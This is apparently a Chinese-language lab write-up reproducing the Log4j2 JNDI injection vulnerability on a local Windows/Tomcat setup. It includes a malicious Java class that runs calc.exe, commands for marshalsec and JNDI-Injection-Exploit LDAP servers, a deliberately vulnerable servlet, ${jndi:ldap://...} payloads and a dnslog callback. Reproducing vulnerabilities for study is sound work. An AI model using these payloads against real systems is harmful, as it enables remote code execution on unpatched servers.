最近,出来了个Log4j2的漏洞,安全圈跟过年了一样,于是也跟着热闹热闹。
Log4j2作为一个开源的Java日志记录插件,被众多项目引用,因此,当其漏洞出现时,影响的范围也极大,可以算是继Python的request库之后的又一重大供应链攻击了。
对其漏洞进行了复现和分析,这里做个记录。
实验环境
- Windows 10
- jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行)
- Tomcat v9.0
- marshalsec(用JNDI-Injection-Exploit也可)
环境搭建
jdk安装
下载指定版本的jdk,双击安装即可,记得勾选将Java添加到path中这个选项,完事之后,在命令行窗口输入java -version
查看版本号,出现如下所示界面即为安装成功:
maven安装
去官网https://maven.apache.org/download.cgi下载maven:
然后解压,放到自己电脑的安装目录,然后新建一个系统变量,名字为MAVEN_HOME
,内容为安装目录(放到哪就填哪):
最后在命令行窗口输入命令mvn -v
测试一下:
Tomcat安装
在官网https://tomcat.apache.org/下载对应版本的Tomcat即可,这里因为用的jdk1.8,所以下载Tomcat 9.0:
这里选择了其直接运行安装的版本:
直接双击安装即可,其中除了端口号需要指定(默认也可),以及选择安装目录为上文jdk的安装目录外,其他默认即可:
Eclipse安装&配置Tomcat
直接去官网下载免安装Eclipse免安装版本,然后解压即可
解压完成之后,双击eclipse.exe
打开软件,随意选择一个文件夹为项目地址,然后启动即可。
eclipse启动之后,需要对其环境进行配置。点击上方Window
->Preferences
->Java
->Compiler
,选择Compiler Compliance level
为对应的Java环境,这里选择1.8
:
在
Window
->Preferences
->Java
->Installed JREs
中,点击右边Add...
按钮添加本机的jdk:然后点击上方Window
->Preferences
->Server
->Runtime Environment
->Add...
添加Tomcat服务器,在弹出的对话框中选择Apache
->Apache Tomcat v9.0
,然后点击Next
:
在弹出的对话框中点击Browse...
按钮,选择之前Tomcat的安装目录,然后JRE选择jdk1.8.0_121
,点击Finish
即可:
然后在对话框中选择我们刚刚添加的Tomcat之后点击下方应用按钮:
新建项目
完事之后,新建一个Java web项目,依次点击上方File
->New
->Dynamic Web Project
:
然后输入项目名称,选择目标运行环境,这里选择Tomcat v9.0
,其他默认即可,然后点击Finish
完成创建:
在项目处鼠标右键,选择Properties
,按照下图所示设置Java环境:
然后点击上方Window
->Show View
->Servers
创建服务,会在下方出现链接,提示No servers are available. Click this link to create a new server...
:
点击该链接,在弹出的对话框中选择Tomcat 9作为服务器,点击下一步:
然后点击我们的项目,点击Add >
按钮,添加到右边的框中完成配置,最后点击Finish
按钮:
完事之后,会在下方出现我们添加的服务,鼠标右键单击服务,选择Start
启动服务:
这个时候报了个错,说是端口被占用:
问题不大,双击服务,在上方图示位置配置一下端口即可:
攻击复现
这里有两种复现方式,分别是使用marshalsec和JNDI-Injection-Exploit进行LDAP服务的搭建以进行复现,其功能对比如下:
marshalsec | JNDI-Injection-Exploit | |
---|---|---|
是否需要自己编写恶意类代码 | 是 | 否 |
是否可以自定义恶意类名 | 是 | 否 |
是否可指定LDAP服务端口 | 是,可在命令行指定端口 | 是,但需更改源码,之后重新编译打包 |
恶意类代码是否需要搭建Web Server | 是 | 否 |
总的来说,使用marshalsec搭建LDAP服务进行复现能够更加自由,但所需步骤也更加繁琐;相比之下,JNDI-Injection-Exploit封装程度更高,复现起来更加简单,但不如marshalsec能够实现的功能丰富
使用marshalsec搭建LDAP服务
恶意类编写&上线
首先编写一个恶意类:
public class Exploit {
public Exploit(){
try{
String[] commands = {"calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
将该文件保存为Exploit.java
,名称得和类名一致,然后打开文件所在根目录的命令行窗口,运行命令编译该类为.class
文件:
javac Exploit.java
完事之后会在当前目录生成Exploit.class
文件:
在命令行窗口运行命令启动一个web服务,以方便该类的下载:
python3 -m http.server 8800
可以使用浏览器访问看看效果:
启动LDAP服务
下载marshalsec,在其根目录打开命令行窗口,执行以下命令打包为jar包:
mvn clean package -DskipTests
完了之后会在当前目录生成一个target
文件夹:
其中就是我们需要用到的jar包:
然后运行在当前目录运行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"
然后报了个错,说是端口被占用:
使用命令
netstat -ano
查看了一下,并没有找到该端口被占用的情况,于是干脆给marshalsec
指定端口,使用以下命令运行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit" 8801
因此,payload即为:
${jndi:ldap://127.0.0.1:8801/Exploit}
使用JNDI-Injection-Exploit搭建LDAP服务进行复现
首先下载JNDI-Injection-Exploit源码,由于本机1389端口依然被占用,所以需要更改JNDI-Injection-Exploit-master\src\main\java\run
文件夹下的ServerStart.java
文件的源码内容:
然后使用maven打包:
mvn clean package -DskipTests
完事之后出现target目录,其中就有我们需要的jar包,在target目录下运行命令启动ldap服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "127.0.0.1"
其中,-C
后面的为想要执行的命令,-A
后面的为服务运行的地址,也就是本机地址,由于攻防都在同一机器上,就没有使用公网IP:
由于我们使用的为jdk1.8,因此payload也就为:
${jndi:ldap://127.0.0.1:8176/9e4fb5}
后面的步骤使用的marshalsec进行复现,不过如果使用JNDI-Injection-Exploit,也只需要更换payload即可,这两个工具都只是为了搭建ldap服务,编写恶意命令而已
启动Log4j2
在之前创建的项目处右键单击,选择新建servlet:
然后输入包名和servlet类名即可:
然后复制粘贴内容如下:
package com.dubito;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@WebServlet("/Log4j2Servlet")
public class Log4j2Servlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final Logger logger = LogManager.getLogger(Log4j2Servlet.class);
/**
* @see HttpServlet#HttpServlet()
*/
public Log4j2Servlet() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
System.out.println(request.getQueryString());
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Hello World!</h1>");
out.println("</body></html>");
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
String name = request.getParameter("aaa");
System.out.println(name);
logger.error(name);
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Got it!</h1>");
out.println("</body></html>");
}
}
其中,在doPost
函数内,设定使用参数aaa
接收用户输入,然后使用logger.error()
打印用户输入的字符作为日志信息,也就是在这个函数中,Log4j2存在命令执行的漏洞,可以使用形如${}
的字符串调用Lookup
以执行命令
完成之后,会发现eclipse报错,这是因为没有导入包的缘故。
去官网下载Log4j2的包:
解压之后会出现好多jar包,然后将jar包拖到src
->main
->webapp
->WEB-INF
->lib
文件夹内,然后在弹窗中选择Copy files
,最终结果:
然后项目处右键,选择Build Path
->Configure Build Path...
:
在右侧选择
Libraries
,点击Add jars...
添加jar包:然后启动服务:
浏览器访问一下,发现服务构建成功:
然后使用hackbar发送payload:
${jndi:ldap://ds5bia.dnslog.cn}
其中的地址为dnslog申请的地址:
发现报错java.lang.IllegalArgumentException: 在请求目标中找到无效字符。有效字符在RFC 7230和RFC 3986中定义
:
这是由于请求的参数包含特殊字符无法被解析,于是编辑server中的
server.xml
文件,将以下代码加入到图示位置:
relaxedPathChars="{}[],%/" relaxedQueryChars="{}[],%/"
然后再运行一遍,发现dnslog成功回显:
然后使用以下payload进行RCE:
${jndi:ldap://127.0.0.1:8801/Exploit}
发现报错:
显示
Reference Class Name: foo
,这是由于jdk1.8.121-191的版本开启了安全选项(1.8.191及其以上的版本限制更加严格,可能导致复现失败,建议采用文章开头推荐的版本),于是在源码中进行设置,允许远程URL:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
然后再次运行,进行RCE,发现成功:
PS:如果发现上述问题还是没有得到解决,请仔细核对下图所示的地方查看jdk版本是否符合要求(即是否为JDK 6u211、7u201、8u191之前的版本):
如果不是的话,请参考前文eclipse环境配置处分别配置eclipse的Java编译器环境、系统环境、服务运行环境为符合条件的jdk。
如果所有环境配置完毕,但上图位置显示的环境还是不对,重新建项目,再来一次就可以了
如果环境对了,dnslog复现成功,但使用插件复现不成功,请确认端口一致性:
如果端口确保一致,但请求链接cmd窗口依然没有更新,可以尝试在窗口按一下enter键,有可能是因为长时间没有操作窗口卡了